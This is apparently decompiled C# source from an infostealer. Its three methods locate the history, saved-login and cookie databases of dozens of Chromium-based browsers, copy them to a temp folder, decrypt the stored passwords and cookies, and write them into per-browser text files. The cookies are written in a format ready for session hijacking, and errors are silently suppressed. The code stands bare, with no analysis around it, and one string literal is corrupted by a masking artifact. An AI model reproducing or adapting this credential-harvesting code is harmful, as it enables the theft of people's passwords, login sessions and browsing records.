// Token: 0x060000C4 RID: 196 RVA: 0x0000968C File Offset: 0x0000788C
public static void GetHistory()
{
string str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\";
string str2 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\";
string str3 = "\\User Data\\Default\\History";
string[] array = new string[]
{
str2 + "Google\\Chrome" + str3,
str2 + "Google(x86)\\Chrome" + str3,
str2 + "Chromium" + str3,
str2 + "Microsoft\\Edge" + str3,
str + "Opera Software\\Opera Stable\\History",
str2 + "BraveSoftware\\Brave-Browser" + str3,
str2 + "Epic Privacy Browser" + str3,
str2 + "Vivaldi" + str3,
str2 + "Orbitum" + str3,
str2 + "Mail.Ru\\Atom" + str3,
str2 + "CentBrowser" + str3,
str2 + "Kometa" + str3,
str2 + "Amigo" + str3,
str2 + "Rockmelt" + str3,
str2 + "Comodo\\Dragon" + str3,
str2 + "Torch" + str3,
str2 + "Comodo" + str3,
str2 + "Slimjet" + str3,
str2 + "Flock" + str3,
str2 + "AcWebBrowser" + str3,
str2 + "Black Hawk" + str3,
str2 + "Maple Studio" + str3,
str2 + "CoolNovo" + str3,
str2 + "Titan Browser" + str3,
str2 + "Baidu Spark" + str3,
str2 + "360Browser\\Browser" + str3,
str2 + "Maxthon" + str3,
str2 + "K-Melon" + str3,
str2 + "Sputnik\\Sputnik" + str3,
str2 + "Nichrome" + str3,
str2 + "CocCoc\\Browser" + str3,
str2 + "uCozMedia\\Uran" + str3,
str2 + "Chromodo" + str3,
str2 + "Yandex\\YandexBrowser" + str3
};
List<string[]> list = new List<string[]>();
try
{
foreach (string text in array)
{
if (File.Exists(text))
{
string text2 = "";
foreach (string text3 in Help.BrowsersName)
{
if (text.Contains(text3))
{
text2 = text3;
}
}
string text4 = Environment.GetEnvironmentVariable("temp") + "\\browserHistory";
if (File.Exists(text4))
{
File.Delete(text4);
}
File.Copy(text, text4);
cSQLite cSQLite = new cSQLite(text4);
cSQLite.ReadTable("urls");
for (int k = 0; k < cSQLite.GetRowCount(); k++)
{
string[] item = new string[]
{
Convert.ToString(cSQLite.GetValue(k, 1)),
Crypt.toUTF8(Convert.ToString(cSQLite.GetValue(k, 2))),
Convert.ToString(Convert.ToInt32(cSQLite.GetValue(k, 3)) + 1),
Convert.ToString(TimeZoneInfo.ConvertTimeFromUtc(DateTime.FromFileTimeUtc(10L * Convert.ToInt64(cSQLite.GetValue(k, 5))), TimeZoneInfo.Local)),
text2
};
list.Add(item);
}
}
}
}
catch
{
}
string str4 = Program.path + "\\";
foreach (string[] array3 in list)
{
Directory.CreateDirectory(str4 + array3[4]);
using (StreamWriter streamWriter = new StreamWriter(str4 + array3[4] + "\\History.txt", true))
{
streamWriter.WriteLine(string.Concat(new string[]
{
"\n[HISTORY]\nUrl: ",
array3[0],
"\nTitle: ",
array3[1],
"\nVisits: ",
array3[2],
"\nDate: ",
array3[3]
}));
}
}
}
// Token: 0x060000A8 RID: 168 RVA: 0x00008950 File Offset: 0x00006B50
public static void GetPasswords()
{
string str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\";
string str2 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\";
string str3 = "\\User Data\\Default\\Login Data";
string[] array = new string[]
{
str2 + "Google\\Chrome" + str3,
str2 + "Google(x86)\\Chrome" + str3,
str2 + "Chromium" + str3,
str2 + "Microsoft\\Edge" + str3,
str + "Opera Software\\Opera Stable\\Login Data",
str2 + "BraveSoftware\\Brave-Browser" + str3,
str2 + "Epic Privacy Browser" + str3,
str2 + "CentBrowser" + str3,
str2 + "AcWebBrowser" + str3,
str2 + "Amigo" + str3,
str2 + "Vivaldi" + str3,
str2 + "Rockmelt" + str3,
str2 + "Orbitum" + str3,
str2 + "Mail.Ru\\Atom" + str3,
str2 + "Kometa" + str3,
str2 + "Comodo\\Dragon" + str3,
str2 + "Torch" + str3,
str2 + "Comodo" + str3,
str2 + "Flock" + str3,
str2 + "Black Hawk" + str3,
str2 + "Maple Studio" + str3,
str2 + "CoolNovo" + str3,
str2 + "Titan Browser" + str3,
str2 + "Baidu Spark" + str3,
str2 + "Slimjet" + str3,
str2 + "360Browser\\Browser" + str3,
str2 + "Maxthon" + str3,
str2 + "K-Melon" + str3,
str2 + "Sputnik\\Sputnik" + str3,
str2 + "Nichrome" + str3,
str2 + "CocCoc\\Browser" + str3,
str2 + "uCozMedia\\Uran" + str3,
str2 + "Chromodo" + str3,
str2 + "Yandex\\YandexBrowser" + str3
};
List <string[]> list = new List <string[]>();
try
{
foreach (string text in array)
{
if (File.Exists(text))
{
string text2 = "";
foreach (string text3 in Help.BrowsersName)
{
if (text.Contains(text3))
{
text2 = text3;
}
}
string text4 = Environment.GetEnvironmentVariable("temp") + "\\browserPasswords";
if (File.Exists(text4))
{
File.Delete(text4);
}
File.Copy(text, text4);
cSQLite cSQLite = new cSQLite(text4);
cSQLite.ReadTable("logins");
for (int k = 0; k < cSQLite.GetRowCount(); k++)
{
string value = cSQLite.GetValue(k, 0);
string value2 = cSQLite.GetValue(k, 3);
string value3 = cSQLite.GetValue(k, 5);
if (string.IsNullOrEmpty(value3))
{
break;
}
string[] item = new string[]
{
value,
Crypt.toUTF8(value2),
Crypt.toUTF8(Crypt.decryptChrome(value3, text)),
text2
};
list.Add(item);
}
}
}
}
catch
{
}
string str4 = Program.path + "\\";
foreach (string[] array3 in list)
{
Directory.CreateDirectory(str4 + array3[3]);
using (StreamWriter streamWriter = new StreamWriter(str4 + array3[3] + "\\Passwords.txt", true))
{
streamWriter.WriteLine(string.Concat(new string[]
{
"\n[PASSWORD]\nHostname: ",
array3[0],
"\nUsername: "******"\nPassword: ",
array3[2]
}));
}
}
}
// Token: 0x060000A4 RID: 164 RVA: 0x000083D4 File Offset: 0x000065D4
public static void GetCookies()
{
string str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\";
string str2 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\";
string str3 = "\\User Data\\Default\\Cookies";
string[] array = new string[]
{
str2 + "Google\\Chrome" + str3,
str2 + "Google(x86)\\Chrome" + str3,
str2 + "Chromium" + str3,
str2 + "Microsoft\\Edge" + str3,
str + "Opera Software\\Opera Stable\\Cookies",
str2 + "BraveSoftware\\Brave-Browser" + str3,
str2 + "Epic Privacy Browser" + str3,
str2 + "Amigo" + str3,
str2 + "Vivaldi" + str3,
str2 + "Orbitum" + str3,
str2 + "AcWebBrowser" + str3,
str2 + "Mail.Ru\\Atom" + str3,
str2 + "CentBrowser" + str3,
str2 + "Rockmelt" + str3,
str2 + "Kometa" + str3,
str2 + "Comodo\\Dragon" + str3,
str2 + "Torch" + str3,
str2 + "Flock" + str3,
str2 + "Black Hawk" + str3,
str2 + "Maple Studio" + str3,
str2 + "CoolNovo" + str3,
str2 + "Titan Browser" + str3,
str2 + "Baidu Spark" + str3,
str2 + "Comodo" + str3,
str2 + "Slimjet" + str3,
str2 + "360Browser\\Browser" + str3,
str2 + "Maxthon" + str3,
str2 + "K-Melon" + str3,
str2 + "Sputnik\\Sputnik" + str3,
str2 + "Nichrome" + str3,
str2 + "CocCoc\\Browser" + str3,
str2 + "uCozMedia\\Uran" + str3,
str2 + "Chromodo" + str3,
str2 + "Yandex\\YandexBrowser" + str3
};
List <string[]> list = new List <string[]>();
try
{
foreach (string text in array)
{
if (File.Exists(text))
{
string text2 = "";
foreach (string text3 in Help.BrowsersName)
{
if (text.Contains(text3))
{
text2 = text3;
}
}
string text4 = Environment.GetEnvironmentVariable("temp") + "\\browserCookies";
if (File.Exists(text4))
{
File.Delete(text4);
}
File.Copy(text, text4);
cSQLite cSQLite = new cSQLite(text4);
cSQLite.ReadTable("cookies");
for (int k = 0; k < cSQLite.GetRowCount(); k++)
{
string value = cSQLite.GetValue(k, 12);
string value2 = cSQLite.GetValue(k, 1);
string value3 = cSQLite.GetValue(k, 2);
string value4 = cSQLite.GetValue(k, 4);
string value5 = cSQLite.GetValue(k, 5);
string text5 = cSQLite.GetValue(k, 6).ToUpper();
if (string.IsNullOrEmpty(value3))
{
break;
}
string[] item = new string[]
{
Crypt.toUTF8(Crypt.decryptChrome(value, text)),
value2,
Crypt.toUTF8(value3),
value4,
value5,
text5,
text2
};
list.Add(item);
}
}
}
}
catch
{
}
string str4 = Program.path + "\\";
foreach (string[] array3 in list)
{
Directory.CreateDirectory(str4 + array3[6]);
using (StreamWriter streamWriter = new StreamWriter(str4 + array3[6] + "\\Cookies.txt", true))
{
streamWriter.Write("{0}\tFALSE\t{1}\t{2}\t{3}\t{4}\t{5}\r\n", new object[]
{
array3[1],
array3[3],
array3[5].ToUpper(),
array3[4],
array3[2],
array3[0]
});
}
}
}